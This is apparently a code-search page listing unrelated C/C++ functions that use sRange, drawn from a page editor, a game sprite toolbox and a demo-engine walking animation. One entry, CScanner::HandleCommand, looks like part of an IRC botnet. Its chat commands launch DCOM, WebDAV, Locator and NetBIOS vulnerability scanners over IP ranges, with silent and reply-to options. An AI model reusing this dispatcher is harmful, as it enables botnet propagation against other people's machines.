Example #1
0
sBool PageWin::CheckDest(sBool dup)
{
  sInt i,max,j;
  sInt x,y,w;
  PageDoc *pd;
  PageOp *po;
  sU8 map[PAGESY][PAGESX];
  
  pd = Doc;
  if(!pd) return sFALSE;
  sSetMem(map,0,sizeof(map));
  max = pd->Ops->GetCount();
  for(i=0;i<max;i++)
  {
    po = pd->Ops->Get(i);
    x = po->PosX;
    y = po->PosY;
    w = po->Width;

    if(po->Selected)
    {
      if(dup)
      {
        for(j=0;j<w;j++)
        {
          if(map[y][x+j])
            return sFALSE;
          map[y][x+j] = 1;
        }
      }
      x = sRange(x+DragMoveX,PAGESX-w-1,0);
      y = sRange(y+DragMoveY,PAGESY  -1,0);
      w = sRange(w+DragWidth,PAGESX-x-1,1);
    }
    for(j=0;j<w;j++)
    {
      if(map[y][x+j])
        return sFALSE;
      map[y][x+j] = 1;
    }
  }

  return sTRUE;
}
Example #2
0
void PageWin::MoveDest(sBool dup)
{
  sInt i,max;
  sInt x,y,w;
  PageDoc *pd;
  PageOp *po,*opo;
  
  pd = Doc;
  if(!pd) return;
  max = pd->Ops->GetCount();

  for(i=0;i<max;i++)
  {
    po = pd->Ops->Get(i);
    x = po->PosX;
    y = po->PosY;
    w = po->Width;
    if(po->Selected)
    {
      x = sRange(x+DragMoveX,PAGESX-w-1,0);
      y = sRange(y+DragMoveY,PAGESY  -1,0);
      w = sRange(w+DragWidth,PAGESX-x-1,1);

      if(dup)
      {
        opo = po;
        po = new PageOp;
        po->Copy(opo);
        pd->Ops->Add(po);
        opo->Selected = sFALSE;
      }
      po->PosX = x;
      po->PosY = y;
      po->Width = w;
    }
  }

  pd->UpdatePage();
}
Example #3
0
bool CScanner::HandleCommand(CMessage *pMsg)
{	CString sRange(pMsg->sChatString.Token(1, " ")); int iTime=atoi(pMsg->sChatString.Token(2, " ").CStr());

#ifdef WIN32
	if(!pMsg->sCmd.Compare("scan.netbios"))
	{	
		CScannerNetBios *pTemp=new CScannerNetBios; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }
#endif // WIN32

	if(!pMsg->sCmd.Compare("scan.dcom"))
	{	CScannerDCOM *pTemp=new CScannerDCOM; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare("scan.dcom2"))
	{	CScannerDCOM2 *pTemp=new CScannerDCOM2; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare("scan.locator"))
	{	CScannerLocator *pTemp=new CScannerLocator; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare("scan.webdav"))
	{	CScannerWebDav *pTemp=new CScannerWebDav; m_bScanning=true;
		pTemp->m_pScanner=this; pTemp->m_sRange.Assign(sRange);
		pTemp->m_iTime=iTime; pTemp->m_sReplyTo.Assign(pMsg->sReplyTo);
		pTemp->m_bSilent=pMsg->bSilent; pTemp->m_bNotice=pMsg->bNotice;
		pTemp->Start(); }

	if(!pMsg->sCmd.Compare("scan.stop")) m_bScanning=false;

	return true; }
void cToolboxSprites::RenderSprites() {
	size_t X = 0, Y = 0;
	size_t BigY = 0;
	size_t MultiplierX = g_Fodder->mVersionCurrent->mPlatform == ePlatform::Amiga ? 8 : 1;
	//size_t MultiplierY = g_Fodder->mVersionCurrent->mPlatform == ePlatform::Amiga ? 1 : 1;

	mSpriteRanges.clear();

	g_Fodder->mGraphics->SetActiveSpriteSheet(eGFX_IN_GAME);

	for (size_t SpriteID = 0; SpriteID < 118; ++SpriteID) {
		sSprite Sprite;

		int32 AnimID = g_SpriteAnim[SpriteID];
		if (AnimID < 0)
			continue;

		size_t SpriteWidth = g_Fodder->mSprite_SheetPtr[AnimID][0].mColCount  ;
		size_t SpriteHeight = g_Fodder->mSprite_SheetPtr[AnimID][0].mRowCount ;

		if (g_Fodder->mVersionCurrent->mPlatform == ePlatform::Amiga) {
			SpriteWidth -= 1;
			SpriteWidth <<= 1;
			SpriteWidth *= MultiplierX;
		}
		Sprite.field_0 = 0;
		Sprite.field_4 = SpriteHeight - 0x10;
		Sprite.field_52 = 0;
		Sprite.field_20 = 0;

		cSurface *Surface = new cSurface(SpriteWidth , SpriteHeight );

		g_Fodder->mGraphics->PaletteSet(Surface);
		g_Fodder->Sprite_Draw_Frame(&Sprite, AnimID, 0, Surface);

		if (X + SpriteWidth > (20 * 17)) {
			X = 0;
			Y += BigY;
			BigY = 0;
		}

		mSpriteRanges.push_back(sRange(X, Y, SpriteWidth, SpriteHeight, SpriteID));

		SDL_Rect SrcRect;
		SrcRect.x = 0;
		SrcRect.y = 0;
		SrcRect.w = SpriteWidth ;
		SrcRect.h = SpriteHeight ;

		SDL_Rect DstRect;
		DstRect.x = X;
		DstRect.y = Y;
		DstRect.w = SpriteWidth ;
		DstRect.h = SpriteHeight ;

		g_Fodder->mGraphics->PaletteSet(Surface);
		Surface->surfaceSetToPaletteNew();
		Surface->draw();

		SDL_BlitSurface(Surface->GetSurface(), &SrcRect, mSpriteSurface->GetSurface(), &DstRect);

		if (SpriteHeight > BigY)
			BigY = SpriteHeight;

		X += SpriteWidth;
		if (X >= (20 * 17)) {
			X = 0;
			Y += BigY;
			BigY = 0;
		}

		delete Surface;
	}

	// Load the tileset palette to the surface

	// Copy the image into a QImage
	SDL_Surface* Source = mSpriteSurface->GetSurface();
	mImage = QImage(static_cast<uchar*>(Source->pixels), Source->w, Source->h, QImage::Format_RGB32);

	this->repaint();
}
Example #5
0
void __stdcall Exec_Scene_Walk(KOp *op,KEnvironment *kenv,
  sU32 Flags,sInt FootCount,sF32 StepTresh,sF32 RunLowTresh,sF32 RunHighTresh,
  sInt2 fg,sF322 sl,sF322 ss,sF322 sn,
  sF323 l0,sF323 l1,sF323 l2,sF323 l3,sF323 l4,sF323 l5,sF323 l6,sF323 l7,
  sF32 scanup,sF32 scandown,
  KSpline *stepspline)
{
  sMatrix mat;//,save;               // local vars
  sMatrix dir;                    // desired orientation of walker
  sVector savevar[8],savetime;
  sVector v,sum,foot[8],spline[8],stepdir;
//  sVector plane;
  sInt i,j;
  sInt bestleg;
  sInt time;
  sF32 dist,f,t;
  sInt changestate;
//  KKriegerCellAdd *cell;

  sZONE(ExecWalk);

  // copy of instance-vars

  sInt State;
  sInt LastLeg;
  sInt NextLeg;

  // parameters

  sInt FootGroup[2];              // groups of feet.
  sF32 StepLength[2];             // max. length of a step
  sInt StepSpeed[2];              // duration of a step in ms.
  sInt StepNext[2];               // when to start the next step in ms. steps may overlap

  // init parameters

  FootGroup[0] = fg.x;
  FootGroup[1] = fg.y;
  StepLength[0] = sl.x;
  StepLength[1] = sl.y;
  StepSpeed[0] = sFtol(ss.x*1000);
  StepSpeed[1] = sFtol(ss.y*1000);
  StepNext[0] = sMin(sFtol(sn.x*1000),StepSpeed[0]);
  StepNext[1] = sMin(sFtol(sn.y*1000),StepSpeed[1]);

// init instance storage
  sMatrix &matrix = kenv->ExecStack.Top();

  mem = kenv->GetInst<WalkMem>(op);
  if(mem->Reset || (Flags&0x100) || kenv->TimeReset)
  {
//    cell = 0;
//    if(Flags&2)
//      cell = kenv->Game->FindCell(matrix.l);
    sum.Init();
    mem->FootCenter.Init();
    mem->InitSteps = FootCount*2;
    for(i=0;i<FootCount;i++)
    {
      mem->FootDelta[i].Init((&l0)[i].x,(&l0)[i].y,(&l0)[i].z,0);
      v.Add3(matrix.l,mem->FootDelta[i]);
      v.w = 0;
      mem->FootOld[i] = mem->FootNew[i] = v;
      mem->StepTime[i] = StepSpeed[0];
//      mem->FootPart[i].Init(v,sum,cell);
      mem->FootCenter.x += mem->FootDelta[i].x/FootCount;
      mem->FootCenter.z += mem->FootDelta[i].z/FootCount;
    }
//    mem->FootPart[FootCount-1].EndMarker = 1;
//    mem->BodyPart.Init(matrix.l,sum,cell);
//    mem->BodyPart.EndMarker = 1;
    mem->LastTime = kenv->CurrentTime;
    mem->NewPos = matrix.l;
    mem->State = 0;
    mem->LastLeg = 0;
    for(i=0;i<FootCount;i++)
      mem->FootDelta[i].Sub3(mem->FootCenter);
  }

  State = mem->State;
  LastLeg = mem->LastLeg;
  NextLeg = mem->NextLeg;

  // fake for animation

#if !sINTRO
  if(Flags & 0x30)
  {
    sInt k;
    State = ((Flags&0x30)==0x20);
    j = FootGroup[State];
    f = (StepTresh+RunLowTresh)/2;
    if(j)
      f = (RunLowTresh+RunHighTresh)/2;
    f = f/j;
    if(Flags&0x40)
      f *= 2;

    time = kenv->CurrentTime % (StepNext[State]*j);
    k = kenv->CurrentTime / (StepNext[State]*j);
    for(i=0;i<FootCount;i++)
    {
      mem->StepTime[i] = time - (StepNext[State]*(i%j));
      if(Flags&0x80)
        mem->FootOld[i].Init(0,0,f*(i%j-(time*1.0f/StepNext[State])-(j-1)*0.5f));
      else
        mem->FootOld[i].Init(0,0,f*(k*j+(i%j)));
      mem->FootOld[i].Add3(mem->FootDelta[i]);
      mem->FootNew[i] = mem->FootOld[i];
      mem->FootNew[i].z += f*j;
      if(mem->StepTime[i]<StepSpeed[State]-StepNext[State]*j)
      {
        mem->StepTime[i] += StepNext[State]*j;
        mem->FootOld[i].z -= f*j;
        mem->FootNew[i].z -= f*j;
      }
      if(mem->StepTime[i]<0)
      {
        mem->FootNew[i] = mem->FootOld[i];
        mem->StepTime[i] = StepSpeed[State];
      }
      if(mem->StepTime[i]>StepSpeed[State])
        mem->StepTime[i] = StepSpeed[State];
    }
  }
#endif

  // animate

  sum.Init();
  f = 0;
  for(i=0;i<FootCount;i++)          
  {
    t = sRange(1.0f*mem->StepTime[i]/StepSpeed[State],1.0f,0.0f);
    if(i<FootGroup[State])
    {
      f += t;
    }
#pragma lekktor(on)
    if(stepspline)
    {
      stepspline->Eval((t+State)*0.5f,spline[i]);
      if(mem->FootDelta[i].x<0) spline[i].x=-spline[i].x;
      if(mem->FootDelta[i].z<0) spline[i].z=-spline[i].z;
      spline[i].w = spline[i].w-State;
    }
    else
    {
      spline[i].x = 0;
      spline[i].y = sFSin(t*sPI)*0.25f; 
      spline[i].z = 0;
      spline[i].w = t;
    }
#pragma lekktor(off)

    foot[i].Lin3(mem->FootOld[i],mem->FootNew[i],spline[i].w);
    foot[i].w = 1.0f;
    /*
    if(Flags&0x02)
    {
      foot[i].y += spline[i].y;
      mem->FootPart[i].Control(foot[i]);
      foot[i].y -= spline[i].y;
    }
    */
    sum.Add3(foot[i]);
  }
  sum.Scale3(1.0f/FootCount);
  mat.i.Init(0,0,0,0);
  mat.j.Init(0,0,0,0); // ryg 040820
  mat.k.Init(0,0,0,0);
  mat.l.Init(sum.x,sum.y,sum.z,1);
  for(i=0;i<FootCount;i++)
  {
    v.Sub3(foot[i],sum);
    mat.i.AddScale3(v,mem->FootDelta[i].x);
    mat.j.AddScale3(v,mem->FootDelta[i].y);
    mat.k.AddScale3(v,mem->FootDelta[i].z);
  }
#pragma lekktor(on)
  switch((Flags>>2)&3)
  {
  case 0:   // straight, copy from input
    mat.i = matrix.i; 
    mat.j = matrix.j; 
    mat.k = matrix.k; 
    break;
  case 2:   // use xy
    mat.i.Unit3();
    mat.j.Init(0,1,0,0);
    mat.k.Cross4(mat.i,mat.j);
    mat.k.Unit3();
    mat.j.Cross4(mat.k,mat.i);
    mat.j.Unit3();
    break;
  case 1:   // use y
    mat.k = matrix.k;
  case 3:   // use xz
    mat.k.Unit3();
    mat.j.Cross4(mat.k,mat.i);
    mat.j.Unit3();
    mat.i.Cross4(mat.j,mat.k);
    mat.i.Unit3();
    break;
  }
#pragma lekktor(off)

  t = (f+LastLeg)/FootGroup[State];
  if(t>=2.0f) t-=2.0f;
  if(t>=1.0f) t-=1.0f;
  t = (t+State)*0.5f;
  savetime = kenv->Var[KV_LEG_TIMES];
  kenv->Var[KV_LEG_TIMES].Init(t,0,0,0);

  // advance

  time = kenv->CurrentTime-mem->LastTime;
  mem->LastTime = kenv->CurrentTime;
  if(time<0)
    time = 0;
  dir = matrix;
  if(mem->DeviationFlag>0)
  {
    dir.l.Add3(mat.l,mem->Deviation);
  }
/*
  if(mem->BodyPart.Cell)
  {
    dir.l.y += 0.5f;
    if(kenv->CurrentEvent && kenv->CurrentEvent->Monster)
      mem->BodyPart.SkipCell = &kenv->CurrentEvent->Monster->Cell;
    mem->BodyPart.Control(dir.l);
    dir.l.y -= 0.5f;
  }
  */
  dir.k.y = 0;
  dir.k.Unit3();
  dir.j.Init(0,1,0,0);
  dir.i.Cross4(dir.j,dir.k);
  for(i=0;i<FootCount;i++)
  {
    if(mem->StepTime[i]<StepSpeed[State])
      mem->StepTime[i] += time;
  }

  // find distance

  dist = 0;
  stepdir.Init();
  NextLeg = (LastLeg+1)%FootGroup[State];
  bestleg = NextLeg;
  for(i=0;i<FootCount;i++)
  {
    v.Rotate34(dir,mem->FootDelta[i]);
    v.Sub3(foot[i]);
    v.y = 0;
    f = v.Abs3();
    if(f>dist && mem->StepTime[i]>=StepSpeed[State])
    {
      dist = f;
      stepdir = v;
      bestleg = i;
    }
    savevar[i] = kenv->Var[KV_LEG_L0+i];
    v.Rotate3(dir,spline[i]);
    kenv->Var[KV_LEG_L0+i].Add3(foot[i],v);
    kenv->Var[KV_LEG_L0+i].w = spline[i].w;
  }

  // change walking/running

  changestate = 1;
  for(i=0;i<FootCount;i++)
    if(mem->StepTime[i]<StepSpeed[State])
      changestate = 0;
  if((State==0 && dist>RunHighTresh) || (State==1 && dist<RunLowTresh))
    changestate +=2;

  // changestate = 0 -> in animation                  ->
  // changestate = 1 -> animation done.               -> issue bestleg when idle
  // changestate = 2 -> in animation, change state    -> don't issue new steps
  // changestate = 3 -> animation done, change state  -> change state really


//  sDPrintF("%08x:state %d change %d dist %f | %4d %4d %4d %4d %4d %4d\n",mem,State,changestate,dist,mem->StepTime[0],mem->StepTime[1],mem->StepTime[2],mem->StepTime[3],mem->StepTime[4],mem->StepTime[5]);
  if(changestate==3)
  {
    if((State==0 && dist>RunHighTresh) || (State==1 && dist<RunLowTresh))
    {
      State=1-State;
      changestate = 0;
      LastLeg = LastLeg%FootGroup[State];
      for(i=0;i<FootCount;i++)
        mem->StepTime[i]=StepSpeed[State];
      NextLeg = bestleg%FootGroup[State];
    }
  }

  bestleg = bestleg%FootGroup[State];
  if(mem->Idle && changestate==1)
    NextLeg = bestleg;

  // do the next step

  mem->Idle = 0;
  if(changestate!=2 && mem->StepTime[LastLeg]>=StepNext[State] && mem->StepTime[NextLeg]>=StepSpeed[State])
  {
    if(mem->InitSteps>0)
    {
      mem->InitSteps--;
      dist = 1024;
    }
    if(mem->DeviationFlag>0)
      mem->DeviationFlag--;
    if(dist>StepTresh)
    {
      v.Sub3(dir.l,mat.l);
      f = v.Abs3();
      if((Flags & 1) && mem->InitSteps==0)
        NextLeg = bestleg;

      if(f>StepLength[State])
      {
        mem->NewPos = mat.l;
        mem->NewPos.AddScale3(v,StepLength[State]/f);
      }
      else
      {
        mem->NewPos = dir.l;
      }
//      mem->NewPos.y = 0;
      dir.l = mem->NewPos;
      j = mem->StepTime[LastLeg]-StepNext[State];
      for(i=NextLeg;i<FootCount;i+=FootGroup[State])
      {
        mem->FootOld[i] = foot[i];//mem->FootNew[i];
//        sDPrintF("soll: %06.3f %06.3f %06.3f --\n ist: %06.3f %06.3f %06.3f\n",mem->FootOld[i].x,mem->FootOld[i].y,mem->FootOld[i].z,dir.l.x,dir.l.y,dir.l.z);
        v = mem->FootDelta[i];
        v.y = 0;
        v.Rotate34(dir);
        /*
        if(mem->FootPart[i].Cell) 
        {
          KKriegerCellAdd *cell;
          sVector p0,p1;

          mem->FootNew[i] = v;        // do the step in any case...
          mem->StepTime[i] = j;

          kenv->Game->CollisionForMonsterMode = 1;      // and then find a better point--

          p0 = v; p0.y += scanup;
          cell = kenv->Game->FindCell(p0);

          if(cell)
          {
            p1 = v; p1.y -= scandown;
            if(kenv->Game->FindFirstIntersect(p0,p1,cell,&plane))
            {
              if(plane.y>0.75 && p1.y<p0.y)
              {
                mem->FootNew[i] = p1;
                mem->StepTime[i] = j;
              }
            }
          }

          kenv->Game->CollisionForMonsterMode = 0;
        }
        else*/
        {
          mem->FootNew[i] = v;
          mem->StepTime[i] = j;
        }
      }
      LastLeg = NextLeg;
    }
    else
    {
      mem->Idle = 1;
    }
  }

  // paint & cleanup
/*
  if(mem->BodyPart.Cell)
  {
//    kenv->Game->AddPart(&mem->FootPart[0]);
    kenv->Game->AddPart(&mem->BodyPart);
  }
*/

  kenv->ExecStack.Push(mat);

  //save = kenv->ExecMatrix;
  //kenv->ExecMatrix = mat;
  op->ExecInputs(kenv);
  kenv->ExecStack.Pop();
  //kenv->ExecMatrix = save;

  mem->State = State;
  mem->LastLeg = LastLeg;
  mem->NextLeg = NextLeg;
  for(i=0;i<FootCount;i++)
  {
    kenv->Var[KV_LEG_L0+i] = savevar[i];
  }
  kenv->Var[KV_LEG_TIMES] = savetime;
//  if(kenv->CurrentEvent)
//    kenv->CurrentEvent->ReturnMatrix = mat;
}